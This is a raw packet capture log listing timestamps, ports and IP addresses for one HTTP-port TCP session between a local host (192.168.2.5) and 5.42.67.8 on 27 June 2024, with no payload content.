Jun 27, 2024 06:44:18.525213957 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:18.525496960 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.525511026 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.525526047 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.525538921 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:18.525571108 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:18.525571108 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:18.525573969 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.525588036 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.525602102 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.525609016 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.525628090 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:18.525638103 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:18.525670052 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.525676012 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:18.525682926 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.525696993 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.525712967 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.525718927 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:18.525751114 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:18.525774956 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:18.526451111 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.526464939 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.526479006 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.526493073 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.526521921 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:18.526521921 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:18.526521921 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:18.526527882 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.526542902 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.526551008 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:18.526577950 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.526587009 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:18.526597023 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.526634932 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:18.619015932 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.619183064 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:18.619256973 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.619271040 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.619278908 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.619287014 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.619299889 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.619307995 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.619369030 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.619386911 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:18.619386911 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:18.619398117 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.619412899 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.619453907 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.619462013 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:18.619462013 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:18.619469881 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.619505882 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:18.619525909 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:18.619726896 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.619786978 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.619801044 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.619867086 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:18.619879961 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.619893074 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.619906902 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.619924068 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.619937897 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.619959116 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:18.619959116 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:18.619959116 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:18.619997978 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:18.620378971 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.620424032 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.620439053 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.620474100 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:18.620477915 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.620493889 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:18.620498896 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.620548010 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:18.620744944 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.620805025 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.620819092 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.620836020 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:18.620848894 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:18.620876074 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:18.620889902 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.620903969 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.620918036 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.620933056 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.620946884 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:18.620978117 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:18.620978117 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:18.621010065 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.621023893 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.621037006 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.621052027 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.621058941 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:18.621058941 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:18.621076107 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:18.621114016 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:18.621756077 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.621769905 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.621783972 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.621798992 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.621813059 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.621819973 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:18.621833086 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:18.621859074 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.621861935 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:18.621872902 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.621886969 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.621901035 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.621915102 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.621928930 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.621933937 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:18.621933937 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:18.621933937 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:18.621933937 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:18.621969938 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:18.621969938 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:18.622682095 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.622695923 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.622710943 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.622736931 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:18.622736931 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:18.622766018 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:18.622771025 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.622791052 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.622805119 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.622818947 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.622860909 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:18.622860909 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:18.622891903 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.622905970 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.622920990 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.622935057 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.622935057 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:18.623020887 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:18.623020887 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:18.623652935 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.623666048 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.623680115 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.623735905 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:18.623737097 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.623735905 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:18.623750925 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.623764992 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.623786926 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.623796940 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:18.623807907 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:18.623836040 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.623848915 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.623856068 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:18.623862982 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.623872995 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:18.623899937 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:18.623899937 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:18.705974102 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.705990076 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.706031084 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:18.706044912 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.706056118 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:18.706059933 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.706099033 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:18.714519978 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.714534998 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.714550972 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.714575052 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:18.714606047 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:18.714623928 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.714638948 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.714653015 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.714665890 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.714677095 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:18.714680910 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.714693069 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:18.714709044 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.714737892 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:18.714745045 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.714745045 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:18.714760065 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.714802027 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:18.714847088 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.714859962 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.714894056 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:18.714978933 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.714993000 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.715007067 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.715027094 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:18.715039968 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:18.715080023 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.715141058 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.715154886 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.715178013 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:18.715192080 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:18.715235949 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.715250015 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.715264082 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.715279102 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.715285063 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:18.715305090 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:18.715329885 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:18.715435982 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.715471029 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.715486050 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.715495110 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:18.715508938 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:18.715526104 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:18.715564966 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.715578079 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.715591908 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.715600014 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:18.715606928 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.715620995 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.715666056 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:18.715666056 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:18.715694904 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:18.715694904 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:18.715811968 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.715856075 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.715869904 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.715904951 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:18.715933084 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:18.715998888 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.716012955 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.716027021 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.716042042 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.716049910 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:18.716073036 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:18.716087103 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.716100931 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.716114044 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.716121912 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:18.716128111 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.716141939 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.716145039 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:18.716170073 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:18.716191053 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:18.716496944 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.716510057 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.716522932 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.716536999 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.716552019 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.716557980 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:18.716573000 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.716583967 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:18.716588020 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.716600895 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:18.716602087 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.716615915 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.716622114 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:18.716629982 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.716645002 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.716649055 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:18.716674089 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:18.716686010 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.716689110 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:18.716717005 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:18.716854095 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.716867924 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.716881037 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.716891050 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:18.716895103 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.716903925 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:18.716908932 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.716919899 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:18.716923952 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.716936111 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:18.716938972 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.716953039 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:18.716969013 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:18.716979980 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:18.717397928 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.717437029 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.717452049 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.717474937 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:18.717502117 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:18.717508078 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.717521906 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.717535973 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.717551947 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.717557907 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:18.717586040 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:18.717607021 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:18.717669010 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.717684031 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.717699051 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.717705011 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:18.717714071 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.717727900 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.717730999 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:18.717742920 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.717756033 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:18.717756987 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.717766047 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:18.717771053 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.717784882 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.717793941 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:18.717817068 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:18.717820883 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.717833996 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.717855930 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.717865944 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:18.717890024 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:18.718430996 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.718445063 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.718458891 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.718477964 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:18.718497992 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.718504906 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:18.718513966 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.718532085 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:18.718534946 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.718553066 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:18.718559980 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.718569040 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:18.718633890 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.718647957 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.718662977 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.718669891 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:18.718677044 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.718692064 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.718696117 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:18.718705893 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.718712091 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:18.718719959 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.718734026 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.718739033 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:18.718748093 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.718760967 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:18.718761921 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.718781948 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:18.718794107 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.718797922 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:18.718808889 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.718831062 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:18.718852997 CEST	49719	80	192.168.2.5	5.42.67.8
